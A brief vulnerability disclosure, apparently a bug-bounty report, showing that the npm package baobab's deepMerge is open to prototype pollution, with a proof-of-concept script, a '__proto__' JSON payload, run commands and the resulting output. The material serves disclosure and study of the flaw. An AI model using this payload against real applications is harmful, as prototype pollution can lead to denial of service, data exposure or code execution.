baobab is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const Baobab = require('baobab');

console.log('Before: ' + {}.polluted)
tree = new Baobab()
tree.deepMerge(JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i baobab # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.
